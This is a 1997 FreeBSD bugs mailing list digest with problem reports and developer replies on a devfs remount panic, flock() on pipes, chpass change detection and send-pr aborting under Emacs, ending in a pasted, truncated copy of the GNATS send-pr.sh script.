References: <199708070429.BAA08650@srv1-bsb.gns.com.br> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199708070429.BAA08650@srv1-bsb.gns.com.br>; from Mario Sergio Fujikawa Ferreira on Aug 7, 1997 01:29:52 -0300 Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Mario Sergio Fujikawa Ferreira wrote: > I know this is considered a minor bug, yet as it did bother me > a lot, I and a friend will be taking a closer look a this > issue. Hopefully we will end up with a solution. However, we don't > know when that might happen. Keep the number of the PR in mind, and include `bin/4195' into the subject of your mail when following up to freebsd-gnats-submit@freebsd.org, once you are ready. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-bugs Thu Aug 7 00:10:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA24015 for bugs-outgoing; Thu, 7 Aug 1997 00:10:05 -0700 (PDT) Received: (from gnats@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA24008; Thu, 7 Aug 1997 00:10:02 -0700 (PDT) Resent-Date: Thu, 7 Aug 1997 00:10:02 -0700 (PDT) Resent-Message-Id: <199708070710.AAA24008@hub.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@FreeBSD.ORG, ada@not-enough.bandwidth.org Received: from polya.blah.org (slmel9p50.ozemail.com.au [203.7.187.66]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id AAA23539 for ; Thu, 7 Aug 1997 00:00:22 -0700 (PDT) Received: (from ada@localhost) by polya.blah.org (8.8.6/8.8.5) id RAA00895; Thu, 7 Aug 1997 17:00:18 +1000 (EST) Message-Id: <199708070700.RAA00895@polya.blah.org> Date: Thu, 7 Aug 1997 17:00:18 +1000 (EST) From: Ada T Lim Reply-To: ada@not-enough.bandwidth.org To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: kern/4242: Remounting devfs causes panic Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >Number: 4242 >Category: kern >Synopsis: Remounting devfs causes panic >Confidential: yes >Severity: serious >Priority: low >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Thu Aug 7 00:10:01 PDT 1997 >Last-Modified: >Originator: Ada T Lim >Organization: >Release: FreeBSD 2.2-STABLE i386 >Environment: >Description: devs doesn't like being mounted twice. doing so will cause a kern panic without fail >How-To-Repeat: Take system down to single-user. exit from single-user without unmounting disks kernel will invariably panic in mount_devfs This has not been tested on any other systems. >Fix: >Audit-Trail: >Unformatted: From owner-freebsd-bugs Thu Aug 7 00:20:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA24665 for bugs-outgoing; Thu, 7 Aug 1997 00:20:05 -0700 (PDT) Received: (from gnats@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA24637; Thu, 7 Aug 1997 00:20:02 -0700 (PDT) Date: Thu, 7 Aug 1997 00:20:02 -0700 (PDT) Message-Id: <199708070720.AAA24637@hub.freebsd.org> To: freebsd-bugs Cc: From: j@uriah.heep.sax.de (J Wunsch) Subject: bin/4218 [julian@FreeBSD.ORG: cvs commit: src/sbin/ping ping.c] Reply-To: j@uriah.heep.sax.de (J Wunsch) Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk The following reply was made to PR bin/4218; it has been noted by GNATS. From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-gnats-submit@freebsd.org Cc: Subject: bin/4218 [julian@FreeBSD.ORG: cvs commit: src/sbin/ping ping.c] Date: Thu, 7 Aug 1997 08:40:22 +0200 (Followup sent to GNATS so Bryan K. Ogawa gets notified, too.) -----Forwarded message from julian@FreeBSD.ORG (Julian Elischer)----- From: Julian Elischer Date: Wed, 6 Aug 1997 19:41:16 -0700 (PDT) Message-Id: <199708070241.TAA11010@freefall.freebsd.org> To: cvs-committers@FreeBSD.ORG, cvs-all@FreeBSD.ORG, cvs-sbin@FreeBSD.ORG Subject: cvs commit: src/sbin/ping ping.c julian 1997/08/06 19:41:16 PDT Modified files: sbin/ping ping.c Log: don't lose track of how many packets we've sent if we get 'host unreachable'. (or any other errors than ENOBUFS) makes -c work again even if you can't get there.. This really needs a rework.. Revision Changes Path 1.27 +3 -3 src/sbin/ping/ping.c -----End of forwarded message----- -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-bugs Thu Aug 7 01:30:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA27295 for bugs-outgoing; Thu, 7 Aug 1997 01:30:03 -0700 (PDT) Received: (from gnats@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA27289; Thu, 7 Aug 1997 01:30:02 -0700 (PDT) Resent-Date: Thu, 7 Aug 1997 01:30:02 -0700 (PDT) Resent-Message-Id: <199708070830.BAA27289@hub.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@FreeBSD.ORG, tetsuya@secom-sis.co.jp Received: from secom-sis.co.jp (spiral.secom-sis.co.jp [202.218.246.72]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id BAA27145 for ; Thu, 7 Aug 1997 01:25:45 -0700 (PDT) Received: from secom-sis.co.jp ([172.27.9.50]) by spiral.secom-sis.co.jp with ESMTP id <35716-1>; Thu, 7 Aug 1997 17:25:23 +0900 Received: from juria.secom-sis.co.jp (juria.secom-sis.co.jp [172.27.2.16]) by secom-sis.co.jp (8.8.4/3.5Wpl1) with ESMTP id RAA19385 for ; Thu, 7 Aug 1997 17:30:04 +0900 (JST) Received: (from tetsuya@localhost) by juria.secom-sis.co.jp (8.8.6/3.5Wpl7-19970626s) id RAA10674; Thu, 7 Aug 1997 17:25:16 +0900 (JST) Message-Id: <199708070825.RAA10674@juria.secom-sis.co.jp> Date: Thu, 7 Aug 1997 17:25:16 +0900 From: tetsuya@secom-sis.co.jp Reply-To: tetsuya@secom-sis.co.jp To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: kern/4243: file locking doesn't work for pipe Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >Number: 4243 >Category: kern >Synopsis: file locking doesn't work for pipe >Confidential: no >Severity: non-critical >Priority: medium >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Thu Aug 7 01:30:01 PDT 1997 >Last-Modified: >Originator: Tetsuya Furukawa >Organization: Secom Information System Co.,Ltd. >Release: FreeBSD 2.2-STABLE i386 >Environment: FreeBSD 2.2-STABLE i386 on July 11, 1997 >Description: In flock() in /sys/kern/kern_descrip.c, the following statement: f (fp->f_type != DTYPE_VNODE) return (EOPNOTSUPP); rejects the file descriptor if fp->f_type == DTYPE_PIPE. F_SETLK and F_GETLK of fcntl() have also the similar statements. "Program rewriting map" (RewriteMap mapname prg:filename) of the URL rewriting module (mod_rewrite) of the Apache HTTP server uses file locking for pipe, so FreeBSD users cannot use the fine feature of "program rewriting map". >How-To-Repeat: The following program prints "flock: Operation not supported". -------- #include #include #include int main() { int fds[2]; char c; pipe(fds); if (flock(fds[1], LOCK_EX) == -1) perror("flock"); write(fds[1], "a", 1); read(fds[0], &c, 1); return 0; } -------- >Fix: Maybe, modify the three lines like if (fp->f_type != DTYPE_VNODE) into if (fp->f_type != DTYPE_VNODE && fp->f_type != DTYPE_PIPE) I have not tried it, and I'm not convinced that it is safe and right for I don't know detail of the kernel. >Audit-Trail: >Unformatted: From owner-freebsd-bugs Thu Aug 7 02:30:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA29558 for bugs-outgoing; Thu, 7 Aug 1997 02:30:04 -0700 (PDT) Received: (from gnats@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA29548; Thu, 7 Aug 1997 02:30:02 -0700 (PDT) Date: Thu, 7 Aug 1997 02:30:02 -0700 (PDT) Message-Id: <199708070930.CAA29548@hub.freebsd.org> To: freebsd-bugs Cc: From: Paul Richards Subject: Re: bin/4241: Send-pr fails with emacs Reply-To: Paul Richards Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk The following reply was made to PR bin/4241; it has been noted by GNATS. From: Paul Richards To: dgilbert@velocet.ca Cc: FreeBSD-gnats-submit@FreeBSD.ORG Subject: Re: bin/4241: Send-pr fails with emacs Date: 07 Aug 1997 10:20:05 +0100 "MR. ROOT" writes: > >Description: > > send-pr will print 'Aborted' on the terminal after emacs exits > if the user causes a signal to be sent to emacs. This problem was > recently solved in NetBSD from my complaint. They said that emacs > commonly created a signal that was sent to the terminal group which > caused send-pr to abort. Do you have the fix, I don't have access to NetBSD. > >How-To-Repeat: > > A normal emacs editing session will normally trigger this, but > emacs must be used in terminal mode (not X-windows mode). I believe > that it's some action similar to CTRL-G that does it. Isn't this what is meant to happen, hitting CTRL-G in Emacs is supposed to abort the current task isn't it? If you have the fix and I can understand what it fixes I'll apply it. I'm not sure what the problem is yet. -- Dr Paul Richards. IT, Product Application Development. Email: p.richards@elsevier.co.uk Phone: x3155 From owner-freebsd-bugs Thu Aug 7 04:49:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id EAA03956 for bugs-outgoing; Thu, 7 Aug 1997 04:49:21 -0700 (PDT) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id EAA03936 for ; Thu, 7 Aug 1997 04:48:14 -0700 (PDT) Received: (from bde@localhost) by godzilla.zeta.org.au (8.8.5/8.6.9) id VAA27339; Thu, 7 Aug 1997 21:21:01 +1000 Date: Thu, 7 Aug 1997 21:21:01 +1000 From: Bruce Evans Message-Id: <199708071121.VAA27339@godzilla.zeta.org.au> To: freebsd-bugs@hub.freebsd.org, j@uriah.heep.sax.de Subject: Re: bin/4238: chpass only occasionally works in conjunction with ed Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > UTSL. You could have easily found the reason yourself: > > if (begin.st_mtime == end.st_mtime) { > warnx("no changes made"); > pw_error(NULL, 0, 0); > } > > That is, the editing process needs to last for at least one second > right now, in order for chpass(1) to notice the modification on the > file since it's only done using the file modification timestamp. Gak. Tests based on timestamps will break when the hardare becomes a little faster. The above test broke about 20 years ago. > Fix: include st_mtimensec into the consideration. Won't work; ufs usually writes 0 to the nsec field when it changes a timestamp. The only exception is that the timestamps for utimes() have a resolution of 1 usec. Bruce From owner-freebsd-bugs Thu Aug 7 05:30:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id FAA05192 for bugs-outgoing; Thu, 7 Aug 1997 05:30:04 -0700 (PDT) Received: (from gnats@localhost) by hub.freebsd.org (8.8.5/8.8.5) id FAA05182; Thu, 7 Aug 1997 05:30:02 -0700 (PDT) Date: Thu, 7 Aug 1997 05:30:02 -0700 (PDT) Message-Id: <199708071230.FAA05182@hub.freebsd.org> To: freebsd-bugs Cc: From: David Greenman Subject: Re: kern/4243: file locking doesn't work for pipe Reply-To: David Greenman Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk The following reply was made to PR kern/4243; it has been noted by GNATS. From: David Greenman To: tetsuya@secom-sis.co.jp Cc: FreeBSD-gnats-submit@FreeBSD.ORG Subject: Re: kern/4243: file locking doesn't work for pipe Date: Thu, 07 Aug 1997 05:22:17 -0700 >In flock() in /sys/kern/kern_descrip.c, the following statement: > > f (fp->f_type != DTYPE_VNODE) > return (EOPNOTSUPP); > >rejects the file descriptor if fp->f_type == DTYPE_PIPE. >F_SETLK and F_GETLK of fcntl() have also the similar statements. > >"Program rewriting map" (RewriteMap mapname prg:filename) of >the URL rewriting module (mod_rewrite) of the Apache HTTP server >uses file locking for pipe, so FreeBSD users cannot use the fine >feature of "program rewriting map". Hmmm. Maybe I'm missing something obvious, but I can't think of a reason why one would want to do file locking on a pipe (which is not a shared resource). This sounds like a bug in Apache to me... -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-bugs Thu Aug 7 07:20:07 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA09567 for bugs-outgoing; Thu, 7 Aug 1997 07:20:07 -0700 (PDT) Received: (from gnats@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA09554; Thu, 7 Aug 1997 07:20:03 -0700 (PDT) Date: Thu, 7 Aug 1997 07:20:03 -0700 (PDT) Message-Id: <199708071420.HAA09554@hub.freebsd.org> To: freebsd-bugs Cc: From: Peter Wemm Subject: Re: kern/4243: file locking doesn't work for pipe Reply-To: Peter Wemm Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk The following reply was made to PR kern/4243; it has been noted by GNATS. From: Peter Wemm To: David Greenman Cc: tetsuya@secom-sis.co.jp, FreeBSD-gnats-submit@FreeBSD.ORG Subject: Re: kern/4243: file locking doesn't work for pipe Date: Thu, 07 Aug 1997 22:12:12 +0800 David Greenman wrote: > >In flock() in /sys/kern/kern_descrip.c, the following statement: > > > > f (fp->f_type != DTYPE_VNODE) > > return (EOPNOTSUPP); > > > >rejects the file descriptor if fp->f_type == DTYPE_PIPE. > >F_SETLK and F_GETLK of fcntl() have also the similar statements. > > > >"Program rewriting map" (RewriteMap mapname prg:filename) of > >the URL rewriting module (mod_rewrite) of the Apache HTTP server > >uses file locking for pipe, so FreeBSD users cannot use the fine > >feature of "program rewriting map". > > Hmmm. Maybe I'm missing something obvious, but I can't think of a reason > why one would want to do file locking on a pipe (which is not a shared > resource). This sounds like a bug in Apache to me... It's been around for a while.. I've also seen it used to syncronise multiple listeners on the same socket on systems where it's not safe to listen on a socket, fork N children and have them all do an accept(). I don't remember where I saw that first, but I'm pretty sure I've seen it in use on one of the http daemons, possibly the NCSA one or early apache code. Yeah, it's kinda nonsensical, but useful in certain situations where the same fd is shared between processes. If we could support it without too much effort it'd be kinda handy. > -DG > > David Greenman > Core-team/Principal Architect, The FreeBSD Project > Cheers, -Peter From owner-freebsd-bugs Thu Aug 7 08:30:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA12779 for bugs-outgoing; Thu, 7 Aug 1997 08:30:04 -0700 (PDT) Received: (from gnats@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA12763; Thu, 7 Aug 1997 08:30:01 -0700 (PDT) Date: Thu, 7 Aug 1997 08:30:01 -0700 (PDT) Message-Id: <199708071530.IAA12763@hub.freebsd.org> To: freebsd-bugs Cc: From: Marc Slemko Subject: Re: kern/4243: file locking doesn't work for pipe Reply-To: Marc Slemko Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk The following reply was made to PR kern/4243; it has been noted by GNATS. From: Marc Slemko To: David Greenman Cc: freebsd-gnats-submit@freebsd.org Subject: Re: kern/4243: file locking doesn't work for pipe Date: Thu, 7 Aug 1997 05:22:34 -0600 (MDT) On Thu, 7 Aug 1997, David Greenman wrote: > Hmmm. Maybe I'm missing something obvious, but I can't think of a reason > why one would want to do file locking on a pipe (which is not a shared > resource). This sounds like a bug in Apache to me... The specific reason why it is done in this case is as follows: - it is possible to use a program to rewrite URLs using mod_rewrite in Apache. - when that is done, the implementation creates one process to do the rewrite before the child processes are forked. Each child has access to the input and output descriptors of the one process. - when a child wants to use the program for a rewrite map, it has to be sure it has exclusive access. There are a lot of ways to solve the above problem and many other ways to implement a solution. This particular one locks the descriptor to ensure only one child accesses the program at a time. -- Marc Slemko | Apache team member marcs@znep.com | marc@apache.org From owner-freebsd-bugs Thu Aug 7 11:10:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA20769 for bugs-outgoing; Thu, 7 Aug 1997 11:10:04 -0700 (PDT) Received: (from gnats@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA20763; Thu, 7 Aug 1997 11:10:02 -0700 (PDT) Date: Thu, 7 Aug 1997 11:10:02 -0700 (PDT) Message-Id: <199708071810.LAA20763@hub.freebsd.org> To: freebsd-bugs Cc: From: David Gilbert Subject: Re: bin/4241: Send-pr fails with emacs Reply-To: David Gilbert Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk The following reply was made to PR bin/4241; it has been noted by GNATS. From: David Gilbert To: Paul Richards Cc: dgilbert@velocet.ca, FreeBSD-gnats-submit@FreeBSD.ORG Subject: Re: bin/4241: Send-pr fails with emacs Date: Thu, 7 Aug 1997 14:04:52 -0400 (EDT) >>>>> "Paul" == Paul Richards writes: Paul> "MR. ROOT" writes: >> >Description: >> >> send-pr will print 'Aborted' on the terminal after emacs exits if >> the user causes a signal to be sent to emacs. This problem was >> recently solved in NetBSD from my complaint. They said that emacs >> commonly created a signal that was sent to the terminal group which >> caused send-pr to abort. Paul> Do you have the fix, I don't have access to NetBSD. I'm going to look for it now. I can get a copy of send-pr from the dist... but I can't easily isolate the patch... but if you run a diff, it might help. >> >How-To-Repeat: >> >> A normal emacs editing session will normally trigger this, but >> emacs must be used in terminal mode (not X-windows mode). I >> believe that it's some action similar to CTRL-G that does it. Paul> Isn't this what is meant to happen, hitting CTRL-G in Emacs is Paul> supposed to abort the current task isn't it? As I understand from the fix notice that their gnats system sent to me, the problem was that some combination of emacs actions sends some signal (whose default action is to terminate) to all the processes on the current tty group (or whatever that's called). Paul> If you have the fix and I can understand what it fixes I'll Paul> apply it. I'm not sure what the problem is yet. Paul> -- Dr Paul Richards. IT, Product Application Development. Paul> Email: p.richards@elsevier.co.uk Phone: x3155 Here's the source for their send-pr.sh #!/bin/sh # Submit a problem report to a GNATS site. # Copyright (C) 1993 Free Software Foundation, Inc. # Contributed by Brendan Kehoe (brendan@cygnus.com), based on a # version written by Heinz G. Seidl (hgs@cygnus.com). # # This file is part of GNU GNATS. # # GNU GNATS is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2, or (at your option) # any later version. # # GNU GNATS is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with GNU GNATS; see the file COPYING. If not, write to # the Free Software Foundation, 675 Mass Ave, Cambridge, MA 02139, USA. # The version of this send-pr. VERSION=xVERSIONx # The submitter-id for your site. SUBMITTER=xSUBMITTERx # Where the GNATS directory lives, if at all. [ -z "$GNATS_ROOT" ] && GNATS_ROOT=xGNATS_ROOTx # The default mail address for PR submissions. GNATS_ADDR=xGNATS_ADDRx # Where the gnats category tree lives. DATADIR=xDATADIRx # If we've been moved around, try using GCC_EXEC_PREFIX. [ ! -d $DATADIR/gnats -a -d "$GCC_EXEC_PREFIX" ] && DATADIR=${GCC_EXEC_PREFIX}../../../lib # The default release for this host. DEFAULT_RELEASE="xDEFAULT_RELEASEx" # The default organization. DEFAULT_ORGANIZATION="xDEFAULT_ORGANIZATIONx" # The default site to look for. GNATS_SITE=xGNATS_SITEx # Newer config information? [ -f ${GNATS_ROOT}/gnats-adm/config ] && . ${GNATS_ROOT}/gnats-adm/config # What mailer to use. This must come after the config file, since it is # host-dependent. MAIL_AGENT="xMAIL_AGENTx" # How to read the passwd database. PASSWD="xPASSWDx" ECHON=xECHONx if [ $ECHON = bsd ] ; then ECHON1="echo -n" ECHON2= elif [ $ECHON = sysv ] ; then ECHON1=echo ECHON2='\c' else ECHON1=echo ECHON2= fi # if [ -z "$TMPDIR" ]; then TMPDIR=/tmp else if [ "`echo $TMPDIR | grep '/$'`" != "" ]; then TMPDIR="`echo $TMPDIR | sed -e 's,/$,,'`" fi fi TEMP=$TMPDIR/p$$ BAD=$TMPDIR/pbad$$ REF=$TMPDIR/pf$$ # find a user name if [ "$LOGNAME" = "" ]; then if [ "$USER" != "" ]; then LOGNAME="$USER" else LOGNAME="UNKNOWN" fi fi FROM="$LOGNAME" if [ -z "$REPLYTO" ]; then REPLYTO="$LOGNAME" fi # Find out the name of the originator of this PR. if [ -n "$NAME" ]; then ORIGINATOR="$NAME" elif [ -f $HOME/.fullname ]; then ORIGINATOR="`sed -e '1q' $HOME/.fullname`" else ORIGINATOR=`$PASSWD | sed -e /"^${LOGNAME}:"/'{s/^[^:]*:[^:]*:[^:]*:[^:]*:\([^,:;]*\).*$/\1/' -e q -e } -e d` case "$ORIGINATOR" in *'&'*) TEMP=`echo $LOGNAME | tr '[a-z]' '[A-Z]'` TEMP=`echo $TEMP $LOGNAME | sed 's/^\(.\)[^ ]* ./\1/'` ORIGINATOR=`echo "$ORIGINATOR" | sed "s/&/$TEMP/"` ;; esac fi if [ -n "$ORGANIZATION" ]; then if [ -f "$ORGANIZATION" ]; then ORGANIZATION="`cat $ORGANIZATION`" fi else if [ -n "$DEFAULT_ORGANIZATION" ]; then ORGANIZATION="$DEFAULT_ORGANIZATION" elif [ -f $HOME/.organization ]; then ORGANIZATION="`cat $HOME/.organization`" elif [ -f $HOME/.signature ]; then ORGANIZATION="`cat $HOME/.signature`" fi fi # If they don't have a preferred editor set, then use if [ -z "$VISUAL" ]; then if [ -z "$EDITOR" ]; then EDIT=vi else EDIT="$EDITOR" fi else EDIT="$VISUAL" fi # Find out some information. SYSTEM=`( [ -f /bin/uname ] && /bin/uname -a ) || \ ( [ -f /usr/bin/uname ] && /usr/bin/uname -a ) || echo ""` ARCH=`[ -f /bin/arch ] && /bin/arch` MACHINE=`[ -f /bin/machine ] && /bin/machine` COMMAND=`echo $0 | sed -e 's,.*/,,'` USAGE="Usage: $COMMAND [-PVL] [-t address] [-f filename] [--request-id] [--version]" REMOVE= BATCH= while [ $# -gt 0 ]; do case "$1" in -r) ;; # Ignore for backward compat. -t | --to) if [ $# -eq 1 ]; then echo "$USAGE"; exit 1; fi shift ; GNATS_ADDR="$1" EXPLICIT_GNATS_ADDR=true ;; -f | --file) if [ $# -eq 1 ]; then echo "$USAGE"; exit 1; fi shift ; IN_FILE="$1" if [ "$IN_FILE" != "-" -a ! -r "$IN_FILE" ]; then echo "$COMMAND: cannot read $IN_FILE" exit 1 fi ;; -b | --batch) BATCH=true ;; -p | -P | --print) PRINT=true ;; -L | --list) FORMAT=norm ;; -l | -CL | --lisp) FORMAT=lisp ;; --request-id) REQUEST_ID=true ;; -h | --help) echo "$USAGE"; exit 0 ;; -V | --version) echo "$VERSION"; exit 0 ;; -*) echo "$USAGE" ; exit 1 ;; *) if [ -z "$USER_GNATS_SITE" ]; then if [ ! -r "$DATADIR/gnats/$1" ]; then echo "$COMMAND: the GNATS site $1 does not have a categories list." exit 1 else # The site name is the alias they'll have to have created. USER_GNATS_SITE=$1 fi else echo "$USAGE" ; exit 1 fi ;; esac shift done if [ -n "$USER_GNATS_SITE" ] && [ "$USER_GNATS_SITE" != "$GNATS_SITE" ]; then GNATS_SITE=$USER_GNATS_SITE GNATS_ADDR=$USER_GNATS_SITE-gnats fi if [ "$SUBMITTER" = "unknown" -a -z "$REQUEST_ID" -a -z "$IN_FILE" ]; then cat << '__EOF__' It seems that send-pr is not installed with your unique submitter-id. You need to run install-sid YOUR-SID where YOUR-SID is the identification code you received with `send-pr'. `send-pr' will automatically insert this value into the template field `>Submitter-Id'. If you've downloaded `send-pr' from the Net, use `net' for this value. If you do not know your id, run `send-pr --request-id' to get one from your support site. __EOF__ exit 1 fi if [ -r "$DATADIR/gnats/$GNATS_SITE" ]; then CATEGORIES=`grep -v '^#' $DATADIR/gnats/$GNATS_SITE | sort` else echo "$COMMAND: could not read $DATADIR/gnats/$GNATS_SITE for categories list." exit 1 fi if [ -z "$CATEGORIES" ]; then echo "$COMMAND: the categories list for $GNATS_SITE was empty!" exit 1 fi case "$FORMAT" in lisp) echo "$CATEGORIES" | \ awk 'BEGIN {printf "( "} {printf "(\"%s\") ",$0} END {printf ")\n"}' exit 0 ;; norm) l=`echo "$CATEGORIES" | \ awk 'BEGIN {max = 0; } { if (length($0) > max) { max = length($0); } } END {print max + 1;}'` c=`expr 70 / $l` if [ $c -eq 0 ]; then c=1; fi echo "$CATEGORIES" | \ awk 'BEGIN {print "Known categories:"; i = 0 } { printf ("%-'$l'.'$l's", $0); if ((++i % '$c') == 0) { print "" } } END { print ""; }' exit 0 ;; esac ORIGINATOR_C='' ORGANIZATION_C='' CONFIDENTIAL_C='<[ yes | no ] (one line)>' SYNOPSIS_C='' SEVERITY_C='<[ non-critical | serious | critical ] (one line)>' PRIORITY_C='<[ low | medium | high ] (one line)>' CATEGORY_C='' CLASS_C='<[ sw-bug | doc-bug | change-request | support ] (one line)>' RELEASE_C='' ENVIRONMENT_C='' DESCRIPTION_C='' HOW_TO_REPEAT_C='' FIX_C='' # Catch some signals. ($xs kludge needed by Sun /bin/sh) xs=0 TRAP_EXIT_ACTION='rm -f $REF $TEMP; exit $xs' TRAP_IGNORE_ACTION='' TRAP_ABORT_ACTION='echo "$COMMAND: Aborting ..."; rm -f $REF $TEMP; xs=1; exit' TRAP_ABORTSAVE_ACTION=' echo "$COMMAND: Aborting ..."; if cmp -s $REF $TEMP ; then rm $REF else echo "$COMMAND: the problem report remains in $BAD and is not sent." mv $REF $BAD fi rm -f $TEMP; xs=1; exit' trap "$TRAP_EXIT_ACTION" 0 trap "$TRAP_ABORT_ACTION" 1 2 3 13 15 # If they told us to use a specific file, then do so. if [ -n "$IN_FILE" ]; then if [ "$IN_FILE" = "-" ]; then # The PR is coming from the standard input. if [ -n "$EXPLICIT_GNATS_ADDR" ]; then sed -e "s;^[Tt][Oo]:.*;To: $GNATS_ADDR;" > $TEMP else cat > $TEMP fi else # Use the file they named. if [ -n "$EXPLICIT_GNATS_ADDR" ]; then sed -e "s;^[Tt][Oo]:.*;To: $GNATS_ADDR;" $IN_FILE > $TEMP else cat $IN_FILE > $TEMP fi fi else if [ -n "$PR_FORM" -a -z "$PRINT_INTERN" ]; then # If their PR_FORM points to a bogus entry, then bail. if [ ! -f "$PR_FORM" -o ! -r "$PR_FORM" -o ! -s "$PR_FORM" ]; then echo "$COMMAND: can't seem to read your template file (\`$PR_FORM'), ignoring PR_FORM" sleep 1 PRINT_INTERN=bad_prform fi fi if [ -n "$PR_FORM" -a -z "$PRINT_INTERN" ]; then cp $PR_FORM $TEMP || ( echo "$COMMAND: could not copy $PR_FORM" ; xs=1; exit ) else for file in $TEMP $REF ; do cat > $file << '__EOF__' SEND-PR: -*- send-pr -*- SEND-PR: Lines starting with `SEND-PR' will be removed automatically, as SEND-PR: will all comments (text enclosed in `<' and `>'). SEND-PR: SEND-PR: Please consult the send-pr man page `send-pr(1)' or the Texinfo SEND-PR: manual if you are not sure how to fill out a problem report. SEND-PR: SEND-PR: Choose from the following categories: SEND-PR: __EOF__ # Format the categories so they fit onto lines. l=`echo "$CATEGORIES" | \ awk 'BEGIN {max = 0; } { if (length($0) > max) { max = length($0); } } END {print max + 1;}'` c=`expr 61 / $l` if [ $c -eq 0 ]; then c=1; fi echo "$CATEGORIES" | \ awk 'BEGIN {printf "SEND-PR: "; i = 0 } { printf ("%-'$l'.'$l's", $0); if ((++i % '$c') == 0) { printf "\nSEND-PR: " } } END { printf "\nSEND-PR:\n"; }' >> $file cat >> $file << __EOF__ To: $GNATS_ADDR Subject: From: $FROM Reply-To: $REPLYTO X-send-pr-version: $VERSION >Submitter-Id: $SUBMITTER >Originator: $ORIGINATOR >Organization: ${ORGANIZATION- $ORGANIZATION_C} >Confidential: $CONFIDENTIAL_C >Synopsis: $SYNOPSIS_C >Severity: $SEVERITY_C >Priority: $PRIORITY_C >Category: $CATEGORY_C >Class: $CLASS_C >Release: ${DEFAULT_RELEASE-$RELEASE_C} >Environment: $ENVIRONMENT_C `[ -n "$SYSTEM" ] && echo System: $SYSTEM` `[ -n "$ARCH" ] && echo Architecture: $ARCH` `[ -n "$MACHINE" ] && echo Machine: $MACHINE` >Description: $DESCRIPTION_C >How-To-Repeat: $HOW_TO_REPEAT_C >Fix: $FIX_C __EOF__ done fi if [ "$PRINT" = true -o "$PRINT_INTERN" = true ]; then cat $TEMP xs=0; exit fi chmod u+w $TEMP if [ -z "$REQUEST_ID" ]; then trap "$TRAP_IGNORE_ACTION" 2 3 eval $EDIT $TEMP trap "$TRAP_ABORTSAVE_ACTION" 2 3 else ed -s $TEMP << '__EOF__' /^Subject/s/^Subject:.*/Subject: request for a customer id/ /^>Category/s/^>Category:.*/>Category: send-pr/ w q __EOF__ fi if cmp -s $REF $TEMP ; then echo "$COMMAND: problem report not filled out, therefore not sent" xs=1; exit fi fi # # Check the enumeration fields # This is a "sed-subroutine" with one keyword parameter # (with workaround for Sun sed bug) # SED_CMD=' /$PATTERN/{ s||| s|<.*>|| s|^[ ]*|| s|[ ]*$|| p q }' while [ -z "$REQUEST_ID" ]; do CNT=0 # 1) Confidential # PATTERN=">Confidential:" CONFIDENTIAL=`eval sed -n -e "\"$SED_CMD\"" $TEMP` case 